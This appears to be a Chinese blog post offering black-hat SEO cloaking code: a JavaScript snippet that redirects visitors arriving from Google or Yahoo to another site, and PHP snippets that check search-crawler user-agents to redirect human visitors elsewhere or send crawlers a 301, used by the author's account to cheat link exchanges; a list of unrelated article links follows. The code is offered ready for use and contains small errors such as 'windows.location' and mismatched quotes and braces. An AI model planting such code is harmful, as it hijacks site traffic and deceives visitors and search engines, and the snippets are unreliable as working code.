根据user-agent判断蜘蛛代码黑帽跳转代码(js版与php版本)


Posted in Javascript onSeptember 14, 2015

黑帽seo手段中有一个大家都在用的技巧,在服务端判断 客户端浏览器的user-agent然后做进一步操作,

网上一直都有人在用 这个代码 先是一个js代码 判断网站访客来路 如果是搜索引擎来的 就跳转 如果是直接访问则不变化 这段代码是从网上找来的 已经很久了 感谢原作者

<script language="javascript">
var pattern = /google/gi;
var pattern1= /yahoo/gi;
var keyValue=escape(document.referrer);
if (pattern.exec(keyValue))
setTimeout(
"windows.location='https://3water.com'",10*1000);
else if(pattern1.exec(keyValue))
setTimeout(
"window.location='https://3water.com'",10*1000);
</script>

如果是搜索引擎的user-agent则301跳转 目前网上好多欺骗友情链接的就是这个做法(代码会放在最后)

具体还有很多思路,跳转了,乔页等 今天仅把代码放出来 php的代码

声明 代码都是百度下来的 先写个简单的
根据php的 $_SERVER[‘HTTP_USER_AGENT']来进行判断

<?php
$tmp = $_SERVER['HTTP_USER_AGENT'];
if(strpos($tmp, 'Googlebot') !== false){
    echo '谷歌';
} else if(strpos($tmp, 'Baiduspider') >0){
    echo '百度';
} else if(strpos($tmp, 'Yahoo! Slurp') !== false){
    echo '雅虎';
} else if(strpos($tmp, 'msnbot') !== false){
    echo 'Msn';
} else if(strpos($tmp, 'Sosospider') !== false){
    echo '搜搜';
} else if(strpos($tmp, 'YodaoBot') !== false || strpos($tmp, 'OutfoxBot') !== false){
    echo '有道';
} else if(strpos($tmp, 'Sogou web spider') !== false || strpos($tmp, 'Sogou Orion spider') !== false){
    echo '搜狗';
} else if(strpos($tmp, 'fast-webcrawler') !== false){
    echo 'Alltheweb';
} else if(strpos($tmp, 'Gaisbot') !== false){
    echo 'Gais';
} else if(strpos($tmp, 'ia_archiver') !== false){
    echo 'Alexa';
} else if(strpos($tmp, 'altavista') !== false){
    echo 'AltaVista';
} else if(strpos($tmp, 'lycos_spider') !== false){
    echo 'Lycos';
} else if(strpos($tmp, 'Inktomi slurp') !== false){
    echo 'Inktomi';
}
?>

第二段带跳转的

<?php
$flag = false;
$tmp = $_SERVER['HTTP_USER_AGENT'];
if(strpos($tmp, 'Googlebot') !== false){
    $flag = true;
} else if(strpos($tmp, 'Baiduspider') >0){
    $flag = true;
} else if(strpos($tmp, 'Yahoo! Slurp') !== false){
    $flag = true;
} else if(strpos($tmp, 'msnbot') !== false){
    $flag = true;
} else if(strpos($tmp, 'Sosospider') !== false){
    $flag = true;
} else if(strpos($tmp, 'YodaoBot') !== false || strpos($tmp, 'OutfoxBot') !== false){
    $flag = true;
} else if(strpos($tmp, 'Sogou web spider') !== false || strpos($tmp, 'Sogou Orion spider') !== false){
    $flag = true;
} else if(strpos($tmp, 'fast-webcrawler') !== false){
    $flag = true;
} else if(strpos($tmp, 'Gaisbot') !== false){
    $flag = true;
} else if(strpos($tmp, 'ia_archiver') !== false){
    $flag = true;
} else if(strpos($tmp, 'altavista') !== false){
    $flag = true;
} else if(strpos($tmp, 'lycos_spider') !== false){
    $flag = true;
} else if(strpos($tmp, 'Inktomi slurp') !== false){
    $flag = true;
}
if($flag == false){
   header("Location: https://3water.com" . $_SERVER['REQUEST_URI']);
    // 自动转到https://3water.com 对应的网页
    // $_SERVER['REQUEST_URI'] 为域名后面的路径
    // 或 换成 header("Location: https://3water.com/abc/d.php");
   exit();
}
?>

第三段代码 是 判断后301跳转的

if (preg_match(“#(google|slurp@inktomi|yahoo! slurp|msnbot)#si”, $_SERVER['HTTP_USER_AGENT'])) {
 
header(“HTTP/1.1 301 Moved Permanently”);
header(“Location: http://www.saoyu.com/”);
exit;
 
}}

黑帽手段有风险 请慎用。如果中招的朋友感觉找后门。

Javascript 相关文章推荐
javascript Event对象详解及使用示例
Nov 22 Javascript
html文档中的location对象属性理解及常见的用法
Aug 13 Javascript
浅析JavaScript中命名空间namespace模式
Jun 22 Javascript
利用jQuery实现滑动开关按钮效果(附demo源码下载)
Feb 07 Javascript
JS自动生成动态HTML验证码页面
Jun 14 Javascript
Web开发使用Angular实现用户密码强度判别的方法
Sep 27 Javascript
JS设计模式之访问者模式定义与用法分析
Feb 05 Javascript
浅谈Vue下使用百度地图的简易方法
Mar 23 Javascript
Angular Material Icon使用详解
Nov 07 Javascript
原生js实现公告滚动效果
Jan 10 Javascript
javascript设计模式 ? 建造者模式原理与应用实例分析
Apr 10 Javascript
解决新建一个vue项目过程中遇到的问题
Oct 22 Javascript
jQuery实现默认是闭合的FAQ展开效果菜单
Sep 14 #Javascript
js带缩略图的图片轮播效果代码分享
Sep 14 #Javascript
jQuery实现的Tab滑动选项卡及图片切换(多种效果)小结
Sep 14 #Javascript
JS+DIV+CSS实现的经典标签切换效果代码
Sep 14 #Javascript
jQuery实现Meizu魅族官方网站的导航菜单效果
Sep 14 #Javascript
jQuery实现鼠标悬停背景翻转的黑色导航菜单代码
Sep 14 #Javascript
JS+CSS实现自动切换的网页滑动门菜单效果代码
Sep 14 #Javascript
You might like
php学习笔记 面向对象的构造与析构方法
2011/06/13 PHP
PHP中strtr字符串替换用法详解
2014/11/26 PHP
laravel 5 实现模板主题功能(续)
2015/03/02 PHP
使用PHP和JavaScript判断请求是否来自微信内浏览器
2015/08/18 PHP
用PHP的socket实现客户端到服务端的通信实例详解
2017/02/04 PHP
laravel5.6 框架邮件队列database驱动简单demo示例
2020/01/26 PHP
ExtJS Store的数据访问与更新问题
2010/04/28 Javascript
JQuery live函数
2010/12/24 Javascript
通过上下左右键和回车键切换光标实现代码
2013/03/08 Javascript
判断iframe里的页面是否加载完成
2014/06/06 Javascript
kindeditor编辑器点中图片滚动条往上顶的bug
2015/07/05 Javascript
全面解析DOM操作和jQuery实现选项移动操作代码分享
2016/06/07 Javascript
js统计页面上每个标签的数量实例代码
2018/05/29 Javascript
vue单页应用在页面刷新时保留状态数据的方法
2018/09/21 Javascript
vue使用rem实现 移动端屏幕适配
2018/09/26 Javascript
浅谈Vue.js组件(二)
2019/04/09 Javascript
jQuery实现input[type=file]多图预览上传删除等功能
2019/08/02 jQuery
在vue-cli 3中给stylus、sass样式传入共享的全局变量
2019/08/12 Javascript
微信小程序跳转到其他网页(外部链接)的实现方法
2019/09/20 Javascript
Django实现组合搜索的方法示例
2018/01/23 Python
详解Django项目中模板标签及模板的继承与引用(网站中快速布置广告)
2019/03/27 Python
解决Python logging模块无法正常输出日志的问题
2020/02/21 Python
Python3 mmap内存映射文件示例解析
2020/03/23 Python
html5给汉字加拼音加进度条的实现代码
2020/04/07 HTML / CSS
什么是makefile? 如何编写makefile?
2013/01/02 面试题
机械设计制造专业个人求职信
2013/09/25 职场文书
优秀的2014年两会精神解读
2014/03/17 职场文书
求职信结尾怎么写
2014/05/26 职场文书
铣工实训报告
2014/11/05 职场文书
财务审计整改报告
2014/11/06 职场文书
晚会开幕词
2015/01/28 职场文书
质检员岗位职责
2015/02/03 职场文书
2016学习全国教书育人楷模先进事迹心得体会
2016/01/21 职场文书
2016年少先队活动总结
2016/04/06 职场文书
python实现图片批量压缩
2021/04/24 Python
golang中的struct操作
2021/11/11 Golang